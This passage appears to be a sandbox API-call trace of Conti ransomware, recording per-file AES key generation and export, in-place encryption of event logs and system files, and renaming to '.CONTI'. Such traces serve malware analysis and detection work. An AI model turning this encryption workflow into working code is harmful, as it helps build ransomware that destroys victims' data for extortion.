	[0094.083] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\2070\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf"
	[0094.083] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\2070\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf.CONTI"
	[0094.083] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.conti")) returned 1
	[0094.084] GetProcessHeap () returned 0x1720000
	[0094.084] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.084] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.084] GetProcessHeap () returned 0x1720000
	[0094.084] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d1e8 | out: hHeap=0x1720000) returned 1
	[0094.084] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0095.298] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x17c8030) returned 1
	[0095.298] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x433f9bc | out: pbData=0x17d5f9c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0095.298] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20
	[0096.955] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.955] GetLastError () returned 0x0
	[0096.955] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=69632) returned 1
	[0096.955] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.956] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.986] SetEndOfFile (hFile=0x35c) returned 1
	[0096.986] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.986] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.986] WriteFile (in: hFile=0x35c, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0096.987] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.988] ReadFile (in: hFile=0x35c, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x11000, lpOverlapped=0x0) returned 1
	[0096.989] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x11000, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x11010) returned 1
	[0096.989] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.989] WriteFile (in: hFile=0x35c, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x11010, lpOverlapped=0x0) returned 1
	[0096.989] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.989] WriteFile (in: hFile=0x35c, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0096.989] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.989] CloseHandle (hObject=0x35c) returned 1
	[0096.991] GetProcessHeap () returned 0x1720000
	[0096.991] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0096.991] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx"
	[0096.991] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.CONTI"
	[0096.991] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.conti")) returned 1
	[0096.992] GetProcessHeap () returned 0x1720000
	[0096.992] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0096.992] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0096.992] GetProcessHeap () returned 0x1720000
	[0096.992] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc470 | out: hHeap=0x1720000) returned 1
	[0096.992] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0097.562] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x17e6b60 | out: phKey=0x17e6b60*=0x17c8130) returned 1
	[0097.562] CryptExportKey (in: hKey=0x17c8130, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e6b64, pdwDataLen=0x433f9bc | out: pbData=0x17e6b64*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0097.568] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20
	[0097.568] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.568] GetLastError () returned 0x0
	[0097.568] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=1052672) returned 1
	[0097.568] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x101000
	[0097.568] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.568] SetEndOfFile (hFile=0x35c) returned 1
	[0097.568] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.569] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.569] WriteFile (in: hFile=0x35c, lpBuffer=0x17e6b64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x17e6b64*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0097.570] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.570] ReadFile (in: hFile=0x35c, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x101000, lpOverlapped=0x0) returned 1
	[0097.588] CryptEncrypt (in: hKey=0x17c8130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x101000, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x101010) returned 1
	[0097.589] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.589] WriteFile (in: hFile=0x35c, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x101010, lpOverlapped=0x0) returned 1
	[0097.592] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.592] WriteFile (in: hFile=0x35c, lpBuffer=0x17e6b58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x17e6b58*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0097.592] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.592] CloseHandle (hObject=0x35c) returned 1
	[0097.608] GetProcessHeap () returned 0x1720000
	[0097.608] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6510048
	[0098.094] lstrcpyW (in: lpString1=0x6510048, lpString2="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx"
	[0098.094] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.CONTI"
	[0098.095] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.conti")) returned 1
	[0098.095] GetProcessHeap () returned 0x1720000
	[0098.095] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510048 | out: hHeap=0x1720000) returned 1
	[0098.095] CryptDestroyKey (hKey=0x17c8130) returned 1
	[0098.095] GetProcessHeap () returned 0x1720000
	[0098.095] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e35d8 | out: hHeap=0x1720000) returned 1
	[0098.096] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0098.623] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x17e6b60 | out: phKey=0x17e6b60*=0x17c8570) returned 1
	[0098.623] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e6b64, pdwDataLen=0x433f9bc | out: pbData=0x17e6b64*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0098.624] GetFileAttributesW (lpFileName="C:\\Program Files" (normalized: "c:\\program files")) returned 0x11
	[0098.624] SetFileAttributesW (lpFileName="C:\\Program Files", dwFileAttributes=0x10) returned 1
	[0098.624] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0098.624] GetLastError () returned 0x5
	[0098.624] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0098.624] GetProcessHeap () returned 0x1720000
	[0098.624] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741e78 | out: hHeap=0x1720000) returned 1
	[0098.624] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0098.625] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x17c83b0) returned 1
	[0098.625] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x433f9bc | out: pbData=0x17d48cc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0098.625] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml")) returned 0x20
	[0098.636] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0098.637] GetLastError () returned 0x0
	[0098.637] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=3729832) returned 1
	[0098.637] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x38e9a8
	[0098.637] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.637] SetEndOfFile (hFile=0x384) returned 1
	[0098.637] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.637] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.637] WriteFile (in: hFile=0x384, lpBuffer=0x17d48cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x17d48cc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0098.643] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.643] ReadFile (in: hFile=0x384, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x38e9a8, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x38e9a8, lpOverlapped=0x0) returned 1
	[0099.993] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x38e9a8, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x38e9b0) returned 1
	[0099.998] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.998] WriteFile (in: hFile=0x384, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x38e9b0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x38e9b0, lpOverlapped=0x0) returned 1
	[0100.468] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.469] WriteFile (in: hFile=0x384, lpBuffer=0x17d48c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x17d48c0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0100.469] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0100.469] CloseHandle (hObject=0x384) returned 1
	[0103.056] GetProcessHeap () returned 0x1720000
	[0103.056] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180a3c8
	[0103.059] lstrcpyW (in: lpString1=0x180a3c8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml"
	[0103.059] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml.CONTI"
	[0103.059] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml.conti")) returned 1
	[0104.212] GetProcessHeap () returned 0x1720000
	[0104.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180a3c8 | out: hHeap=0x1720000) returned 1
	[0104.212] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0104.212] GetProcessHeap () returned 0x1720000
	[0104.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0590 | out: hHeap=0x1720000) returned 1
	[0104.212] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0107.353] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c7f70) returned 1
	[0107.353] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x433f9bc | out: pbData=0x17d4fa4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0107.353] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml")) returned 0x20
	[0107.353] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0107.354] GetLastError () returned 0x0
	[0107.354] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=1814) returned 1
	[0107.354] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x716
	[0107.354] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.354] SetEndOfFile (hFile=0x3b0) returned 1
	[0107.354] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.354] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.354] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d4fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x17d4fa4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0107.356] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.356] ReadFile (in: hFile=0x3b0, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x716, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x716, lpOverlapped=0x0) returned 1
	[0107.356] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x716, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x720) returned 1
	[0107.356] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.356] WriteFile (in: hFile=0x3b0, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x720, lpOverlapped=0x0) returned 1
	[0107.356] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.356] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d4f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x17d4f98*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0107.356] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.356] CloseHandle (hObject=0x3b0) returned 1
	[0107.356] GetProcessHeap () returned 0x1720000
	[0107.356] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.356] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml"
